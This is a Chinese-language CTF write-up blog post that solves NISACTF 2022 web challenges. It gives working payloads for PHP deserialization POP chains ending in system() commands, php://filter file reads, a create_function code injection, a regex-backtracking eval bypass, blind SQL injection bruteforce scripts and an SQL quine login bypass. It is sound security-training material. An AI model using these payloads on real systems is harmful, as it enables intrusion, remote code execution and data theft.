• [NISACTF 2022]


    目录

    前言:

    [NISACTF 2022]popchains

    [NISACTF 2022]babyserialize

    考点:

    解题:

    解法二:利用 php

     总结:

    [NISACTF 2022]easyssrf

    [NISACTF 2022]level-up

    level 1

    level2

    Level___3.php

    level 4

    level5

     [NSSCTF 2022 Spring Recruit]ezgame

    [NISACTF 2022]checkin

     [NISACTF 2022]babyupload

    [NISACTF 2022]middlerce

    [NISACTF 2022]hardsql


    前言:

    没时间参加比赛,来复现一下。

    [NISACTF 2022]popchains

    1. __invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
    2. __construst():具有构造函数的类在创建新对象的时候,回调此方法
    3. __destruct():反序列化的时候,或者对象销毁的时候调用
    4. __wakeup():反序列化的时候调用
    5. __sleep():序列化的时候调用
    6. __toString():把类当成字符串的时候调用,一般在echo处生效
    7. __set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
    8. __get():读取不可访问或者不存在的属性的时候,进行赋值
    9. __call():在对象中调用一个不可访问的方法的时候,会被执行

    进入环境:

    直接是代码审计环节:

    1. Happy New Year~ MAKE A WISH
    2. echo 'Happy New Year~ MAKE A WISH
      '
      ;
    3. if(isset($_GET['wish'])){
    4. @unserialize($_GET['wish']);
    5. }
    6. else{
    7. $a=new Road_is_Long;
    8. highlight_file(__FILE__);
    9. }
    10. /***************************pop your 2022*****************************/
    11. class Road_is_Long{
    12. public $page;
    13. public $string;
    14. public function __construct($file='index.php'){
    15. $this->page = $file;
    16. }
    17. public function __toString(){
    18. return $this->string->page;
    19. }
    20. public function __wakeup(){
    21. if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
    22. echo "You can Not Enter 2022";
    23. $this->page = "index.php";
    24. }
    25. }
    26. }
    27. class Try_Work_Hard{
    28. protected $var;
    29. public function append($value){
    30. include($value);
    31. }
    32. public function __invoke(){
    33. $this->append($this->var);
    34. }
    35. }
    36. class Make_a_Change{
    37. public $effort;
    38. public function __construct(){
    39. $this->effort = array();
    40. }
    41. public function __get($key){
    42. $function = $this->effort;
    43. return $function();
    44. }
    45. }
    46. /**********************Try to See flag.php*****************************/

    一般的思路,都是先看出口,也就是我们能够利用的点。

    这里看到

    1. class Try_Work_Hard{
    2. protected $var;
    3. public function append($value){
    4. include($value);}

    Try_work_Hard 类中 有个文件包含,我们追加上去看看哪里调用了 append 函数。

    1. public function __invoke(){
    2. $this->append($this->var);
    3. }
    4. }

    类中的 __invoke 方法 调用了append 传入的$var 。__invoke 的定义是,当一个对象被当函数一样调用的时候 例如: 

    1. $a = new test();
    2. $a ();

    这样就会触发 __invoke 方法. 那么我们继续追踪 哪里可以调用 __invoke。.

    看到 Class MAKE_a_Change 类中:

    1. public function __get($key){
    2. $function = $this->effort;
    3. return $function();
    4. }
    5. }

    把$func 对象当作了函数来调用。而定义的__get 该如何 调用呢?

    __get 魔术方法 是当访问一个类中的属性不存在或者privte 的时候 会被调用。

    在 Class Road_Is_Long 中:

    1. public function __toString(){
    2. return $this->string->page;
    3. }

    如果 $this ->string = MAKE_a_Change的话,就会访问其page 属性,而其类中没有此方法则会调用__get()

    那么再来看看 __toString 方法如何调用:

    定义是 __toString(),类被当成字符串时触发。

    找了半天,没找到哪里有echo ,只有这个地方有echo, 应该就是 正则匹配这个地方 ,如果$page 是一个对象,那么进入正则 $this->page 当做了字符串去匹配了。也就触发了 __toString

    那应该就是 把payload 打进去 就自动触发 __toString 了吧 。

    整理下思路:

     __wakeup() -> 创建 page 为Road_is_Long 类本身   => __toString ->  $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke()  -> => append() => include($value); value=flag.php 。

    好,构造。

    1. class Road_is_Long{
    2. public $page;
    3. public $string;
    4. }
    5. class Try_Work_Hard{
    6. protected $var = "/flag";
    7. }
    8. class Make_a_Change{
    9. public $effort;
    10. }
    11. $road1 = new Road_is_Long();
    12. $road2 = new Road_is_Long();
    13. $try = new Try_Work_Hard();
    14. $make = new Make_a_Change();
    15. $road1->page = $road2;
    16. $road2->string=$make;
    17. $make->effort=$try;
    18. $ser = serialize($road1);
    19. echo urlencode($ser);

    直接传入就得到flag。

    [NISACTF 2022]babyserialize

    考点:

    php反序列化pop链构造。

    代码审计。

    解题:

    1. __invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
    2. __construst():具有构造函数的类在创建新对象的时候,回调此方法
    3. __destruct():反序列化的时候,或者对象销毁的时候调用
    4. __wakeup():反序列化的时候调用
    5. __sleep():序列化的时候调用
    6. __toString():把类当成字符串的时候调用,一般在echo处生效
    7. __set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
    8. __get():读取不可访问或者不存在的属性的时候,进行赋值
    9. __call():在对象中调用一个不可访问的方法的时候,会被执行

    直接来吧:

    1. include "waf.php";
    2. class NISA{
    3. public $fun="show_me_flag";
    4. public $txw4ever;
    5. public function __wakeup()
    6. {
    7. if($this->fun=="show_me_flag"){
    8. hint();
    9. }
    10. }
    11. function __call($from,$val){
    12. $this->fun=$val[0];
    13. }
    14. public function __toString()
    15. {
    16. echo $this->fun;
    17. return " ";
    18. }
    19. public function __invoke()
    20. {
    21. checkcheck($this->txw4ever);
    22. @eval($this->txw4ever);
    23. }
    24. }
    25. class TianXiWei{
    26. public $ext;
    27. public $x;
    28. public function __wakeup()
    29. {
    30. $this->ext->nisa($this->x);
    31. }
    32. }
    33. class Ilovetxw{
    34. public $huang;
    35. public $su;
    36. public function __call($fun1,$arg){
    37. $this->huang->fun=$arg[0];
    38. }
    39. public function __toString(){
    40. $bb = $this->su;
    41. return $bb();
    42. }
    43. }
    44. class four{
    45. public $a="TXW4EVER";
    46. private $fun='abc';
    47. public function __set($name, $value)
    48. {
    49. $this->$name=$value;
    50. if ($this->fun = "sixsixsix"){
    51. strtolower($this->a);
    52. }
    53. }
    54. }
    55. if(isset($_GET['ser'])){
    56. @unserialize($_GET['ser']);
    57. }else{
    58. highlight_file(__FILE__);
    59. }
    60. //func checkcheck($data){
    61. // if(preg_match(......)){
    62. // die(something wrong);
    63. // }
    64. //}
    65. //function hint(){
    66. // echo ".......";
    67. // die();
    68. //}
    69. ?>

    老规矩,先找出口,看到 Class NISA 中的 __invoke 方法,有个eval 。只能利用这里了。

    如何调用__invoke :当尝试以调用函数的方式调用对象的时候,就会调用该方法

    找一下哪个方法可以 把对象调用。

    看到 Class Ilovetxw 中的 __toString 方法:

    1. public function __toString(){
    2. $bb = $this->su;
    3. return $bb();
    4. }

    return $bb ,$bb是class Nisa的对象就会调用 __invoke。

    来看看如何调用 __toString .

    __toString():把类当成字符串的时候调用,一般在echo处生效

    这里有两个地方,一个地方是误区。 一个是NISA 类中的__toString 

    1. public function __toString()
    2. {
    3. echo $this->fun;
    4. return " ";
    5. }

    还有一个地方 Four 类中的set方法:

    1. public function __set($name, $value)
    2. {
    3. $this->$name=$value;
    4. if ($this->fun = "sixsixsix"){
    5. strtolower($this->a);
    6. }

    我想着 不会 用__toString 去调用 __toString 吧 。那我就不会构造了。。。

    仔细看了一下,查了下php文档。

    这里写的是将字符串转换为小写  可以调用__toString ,来到__set。

    __set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

    这里选择的是 class Ilovetxw 中的_class 方法。 利用 $this -> four类 -> fun = $arg[0] 就可以调用__clall 因为 这里正好 $fun是 private 属性。

    看看__call方法如何调用:

    __call():在对象中调用一个不可访问的方法的时候,会被执行

    刚好,class TianXiWei 中的 __wakeup 可以调用到 class Ilovetxw 不可访问的方法

    1. class TianXiWei{
    2. public $ext;
    3. public $x;
    4. public function __wakeup()
    5. {
    6. $this->ext->nisa($this->x);
    7. }
    8. }

    把$this->ext->nisa($this->x);  改成$this->Ilovetxw类->nisa($this->x); 就会自动调用call

    整理下 整体流程思路 :

    __invoke =>  __toString  =>  __set => __call => wakeUp.

    exp :

    1. class NISA{
    2. public $fun;
    3. public $txw4ever = "system('ls');";
    4. }
    5. class TianXiWei
    6. {
    7. public $ext;
    8. public $x;
    9. }
    10. class Ilovetxw{
    11. public $huang;
    12. public $su;}
    13. class four{
    14. public $a="TXW4EVER";
    15. private $fun='abc';}
    16. $nisa= new NISA();
    17. $tian = new TianXiWei();
    18. $ilove = new Ilovetxw();
    19. $four = new four();
    20. $tian ->ext = $ilove;
    21. $ilove ->huang=$four;
    22. $four ->a = $ilove;
    23. $ilove ->su = $nisa;
    24. echo urlencode(serialize($tian));
    25. //O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A12%3A%22system%28%27ls%27%29%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

    传入发现:

     system 改成 大写就可以了

    O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22System%28%27tac+%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D
    

    解法二:利用 php

    原生类类。

    echo new GlobIterator(\"/f*\");

    读文件名 $N1->txw4ever = "echo new SplFileObject(\"php://filter/convert.base64-encode/resource=/fllllllaaag\");"; 读文件

     总结:

    这题 不算复杂 但也足够了。

    [NISACTF 2022]easyssrf

    伪协议 访问 file :///flag

    读取显示:

    访问  ha1x1ux1u.php

    1. highlight_file(__FILE__);
    2. error_reporting(0);
    3. $file = $_GET["file"];
    4. if (stristr($file, "file")){
    5. die("你败了.");
    6. }
    7. //flag in /flag
    8. echo file_get_contents($file)

     大概就是不能匹配到 file 。

    伪协议一把梭:

    ?file=php://filter/read/convert.base64-encode/resource=/flag

    [NISACTF 2022]level-up

    进环境

    level 1

     扫目录 。访问 robots.txt

    level2

    level_2_1s_h3re.php
    1. //here is level 2
    2. error_reporting(0);
    3. include "str.php";
    4. if (isset($_POST['array1']) && isset($_POST['array2'])){
    5. $a1 = (string)$_POST['array1'];
    6. $a2 = (string)$_POST['array2'];
    7. if ($a1 == $a2){
    8. die("????");
    9. }
    10. if (md5($a1) === md5($a2)){
    11. echo $level3;
    12. }
    13. else{
    14. die("level 2 failed ...");
    15. }
    16. }
    17. else{
    18. show_source(__FILE__);
    19. }
    20. ?>

     常见的 md5 强比较。 用hackbar 一直都是level2 failed 。用bp就行了

     参考文章:浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_末初mochu7的博客-CSDN博客

    Level___3.php

    1. //here is level 3
    2. error_reporting(0);
    3. include "str.php";
    4. if (isset($_POST['array1']) && isset($_POST['array2'])){
    5. $a1 = (string)$_POST['array1'];
    6. $a2 = (string)$_POST['array2'];
    7. if ($a1 == $a2){
    8. die("????");
    9. }
    10. if (sha1($a1) === sha1($a2)){
    11. echo $level4;
    12. }
    13. else{
    14. die("level 3 failed ...");
    15. }
    16. }
    17. else{
    18. show_source(__FILE__);
    19. }
    20. ?>

    一把唆: 

        

    array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
        
        &array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
     

    直接出 level_level_4.php

    level 4

    1. //here is last level
    2. error_reporting(0);
    3. include "str.php";
    4. show_source(__FILE__);
    5. $str = parse_url($_SERVER['REQUEST_URI']);
    6. if($str['query'] == ""){
    7. echo "give me a parameter";
    8. }
    9. if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
    10. die("blacklist here");
    11. }
    12. if($_GET['NI_SA_'] === "txw4ever"){
    13. die($level5);
    14. }
    15. else{
    16. die("level 4 failed ...");
    17. }
    18. ?>
    19. give me a parameterlevel 4 failed ...

    在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`=>`CTF_SHOW.COM`
    这里正好 + 没有被过滤

    官方解:

    http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever

    读出:55_5_55.php

    level5

    1. //sorry , here is true last level
    2. //^_^
    3. error_reporting(0);
    4. include "str.php";
    5. $a = $_GET['a'];
    6. $b = $_GET['b'];
    7. if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    8. show_source(__FILE__);
    9. }
    10. else{
    11. $a('',$b);
    12. }

    create_function 注入:

    ?a=\create_function&b=}system('tac /flag');//
    

    参考文章:

    create_function()代码注入 - ctrl_TT豆 - 博客园 (cnblogs.com)

    你终于回来了(。・∀・)ノ (cnblogs.com)

     [NSSCTF 2022 Spring Recruit]ezgame

    好难的游戏。。。

    访问源码 ,点js 文件   ctrl +f 直接搜flag。

    [NISACTF 2022]checkin

    1. error_reporting(0);
    2. include "flag.php";
    3. // ‮⁦NISACTF⁩⁦Welcome to
    4. if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
    5. echo $FLAG;
    6. }
    7. show_source(__FILE__);
    8. ?>

    正常传值 是不行的,因为存在了不可见字符,复制到vscode里。

    ?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46
    

     [NISACTF 2022]babyupload

    下载 源代码文件:

    1. from flask import Flask, request, redirect, g, send_from_directory
    2. import sqlite3
    3. import os
    4. import uuid
    5. app = Flask(__name__)
    6. SCHEMA = """CREATE TABLE files (
    7. id text primary key,
    8. path text
    9. );
    10. """
    11. def db():
    12. g_db = getattr(g, '_database', None)
    13. if g_db is None:
    14. g_db = g._database = sqlite3.connect("database.db")
    15. return g_db
    16. @app.before_first_request
    17. def setup():
    18. os.remove("database.db")
    19. cur = db().cursor()
    20. cur.executescript(SCHEMA)
    21. @app.route('/')
    22. def hello_world():
    23. return """
    24. Select image to upload:
    25. """
    26. @app.route('/source')
    27. def source():
    28. return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
    29. @app.route('/upload', methods=['POST'])
    30. def upload():
    31. if 'file' not in request.files:
    32. return redirect('/')
    33. file = request.files['file']
    34. if "." in file.filename:
    35. return "Bad filename!", 403
    36. conn = db()
    37. cur = conn.cursor()
    38. uid = uuid.uuid4().hex
    39. try:
    40. cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    41. except sqlite3.IntegrityError:
    42. return "Duplicate file"
    43. conn.commit()
    44. file.save('uploads/' + file.filename)
    45. return redirect('/file/' + uid)
    46. @app.route('/file/')
    47. def file(id):
    48. conn = db()
    49. cur = conn.cursor()
    50. cur.execute("select path from files where id=?", (id,))
    51. res = cur.fetchone()
    52. if res is None:
    53. return "File not found", 404
    54. # print(res[0])
    55. with open(os.path.join("uploads/", res[0]), "r") as f:
    56. return f.read()
    57. if __name__ == '__main__':
    58. app.run(host='0.0.0.0', port=80)

    漏洞位置:

    1. with open(os.path.join("uploads/", res[0]), "r") as f:
    2. return f.read()

    os.path.join 会做一个绝对路径拼接。

    比如:

    1. import os
    2. print("1:",os.path.join('aaaa','/bbbb','ccccc.txt'))
    3. print("2:",os.path.join('/aaaa','/bbbb','/ccccc.txt'))
    4. print("3:",os.path.join('aaaa','ddd','./bbb','ccccc.txt'))

    输出:

    1. 1: /bbbb\ccccc.txt
    2. 2: /ccccc.txt
    3. 3: aaaa\ddd\./bbb\ccccc.txt
    • 从后往前看,会从第一个以”/”开头的参数开始拼接,之前的参数全部丢弃;

    • 以上一种情况为先。在上一种情况确保情况下,若出现”./”开头的参数,会从”./”开头的参数的前面参数全部保留;

    这里如果传入  /flag 他会把绝对路径拼接为 /uploads/flag 并且打印出来 。得到flag

    [NISACTF 2022]middlerce

    1. include "check.php";
    2. if (isset($_REQUEST['letter'])){
    3. $txw4ever = $_REQUEST['letter'];
    4. if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
    5. die("再加把油喔");
    6. }
    7. else{
    8. $command = json_decode($txw4ever,true)['cmd'];
    9. checkdata($command);
    10. @eval($command);
    11. }
    12. }
    13. else{
    14. highlight_file(__FILE__);
    15. }
    16. ?>

    正则匹配过滤了 很多东西,异或 %a 都过滤了。那么就可以考虑正则最大回溯绕过

    直接上payload 了:

    1. import requests
    2. payload='{"cmd":"?>","test":"' + "@"*(1000000) + '"}'
    3. res = requests.post("http://1.14.71.254:28939/", data={"letter":payload})
    4. print(res.text)

    直接得到flag。

    [NISACTF 2022]hardsql

    步骤: 只能是bilala用户。fuzz 一下。 like 没过滤 ,like模糊测试 爆密码:

    1. import requests
    2. url='http://1.14.71.254:28961/login.php'
    3. dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'
    4. flag=''
    5. for j in range(50):
    6. for i in dict:
    7. data={
    8. "username":"bilala",
    9. "passwd":f"1'/**/or/**/passwd/**/like/**/'{flag+i}%'#"
    10. }
    11. res=requests.post(url,data=data)
    12. if "nothing found" not in res.text:
    13. flag=flag+i
    14. print(flag)
    15. break

    进到下个环境:

    1. //多加了亿点点过滤
    2. include_once("config.php");
    3. function alertMes($mes,$url){
    4. die("");
    5. }
    6. function checkSql($s) {
    7. if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
    8. alertMes('waf here', 'index.php');
    9. }
    10. }
    11. if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
    12. $username=$_POST['username'];
    13. $password=$_POST['passwd'];
    14. if ($username !== 'bilala') {
    15. alertMes('only bilala can login', 'index.php');
    16. }
    17. checkSql($password);
    18. $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
    19. $user_result=mysqli_query($MysqlLink,$sql);
    20. $row = mysqli_fetch_array($user_result);
    21. if (!$row) {
    22. alertMes('nothing found','index.php');
    23. }
    24. if ($row['passwd'] === $password) {
    25. if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
    26. show_source(__FILE__);
    27. die;
    28. }
    29. else{
    30. die($FLAG);
    31. }
    32. } else {
    33. alertMes("wrong password",'index.php');
    34. }
    35. }
    36. ?>

    重点在这一段

    1. if ($row['passwd'] === $password) {
    2. if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
    3. show_source(__FILE__);
    4. die;
    5. }
    6. else{
    7. die($FLAG);
    8. }
    9. } else {
    10. alertMes("wrong password",'index.php');

    这就有点矛盾了   即要登录时 密码 = b2f2d15b3ae082ca29697d8dcd420fd7时才能登录,还要密码不 等于 b2f2d15b3ae082ca29697d8dcd420fd7才能输出flag 。觉得应该是要编码什么的?

    官方解:

    '/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')
    此为官方的payload
     

    题目中还过滤了char,用chr或者直接用 0x 直接代替。

    最终的payload 为:

    username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

  • 相关阅读:
    借助ChatGPT的神奇力量,解锁AI无限可能!
    【Tensorflow生成minist手写图像以及解决遇到的问题】
    C++入门
    如何优雅部署OpenStack私有云I--Kolla
    微服务架构学习与思考(10):微服务网关和开源 API 网关01-以 Nginx 为基础的 API 网关详细介绍
    SVD奇异值分解
    ElementUI入门及nodejs环境的搭建
    网络安全实战:记一次比较完整的靶机渗透
    Windows 11 现已正式推出!
    如何正确使用美容连锁店收银系统的众多功能?
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126754893